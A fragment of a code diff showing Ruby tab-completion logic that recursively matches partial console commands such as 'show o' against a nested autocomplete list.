if input.eql?(trimmed_input) && !v.keys.empty?
|
87
|
+
res = v.keys.map { |r| input + r }
|
88
|
+
else
|
89
|
+
# If there was another level of input (e.g. "show o"), descend
|
90
|
+
# into that level to find the partial matches (such as "show options").
|
91
|
+
descended_res = auto_complete_proc(trimmed_input, v)
|
92
|
+
if descended_res
|
93
|
+
res = descended_res.grep(/^#{Regexp.escape(trimmed_input)}/)
|
94
|
+
|
95
|
+
# If we have descended, we'll need to prepend the input that
|
96
|
+
# we trimmed back into the returned results as to not overwrite
|
97
|
+
# the previous levels in STDIN.
|
98
|
+
res = res.map { |r| input.gsub(/^(#{k}\s+)(.+)/i, '\1') + r }
|
99
|
+
else
|
100
|
+
res = res.grep(/^#{Regexp.escape(input)}/)
|
101
|
+
end
|
102
|
+
|
103
|
+
break
|
104
|
+
end
|
105
|
+
end
|
106
|
+
|
107
|
+
# If no full matches were found, check if there are partial matches
|
108
|
+
# on the current level, and if so, return the current level as the
|
109
|
+
# list of possible values.
|
110
|
+
unless res
|
111
|
+
grep_res = list.keys.grep(/^#{Regexp.escape(input)}/)
|
112
|
+
res = grep_res if grep_res && !grep_res.empty?
|
113
|
+
end
|
114
|
+
|
115
|
+
res
|
116
|
+
end
|
117
|
+
|
118
|
+
attr_accessor :autocomplete_list
|
119
|
+
end
|
120
|
+
end
|
121
|
+
end
|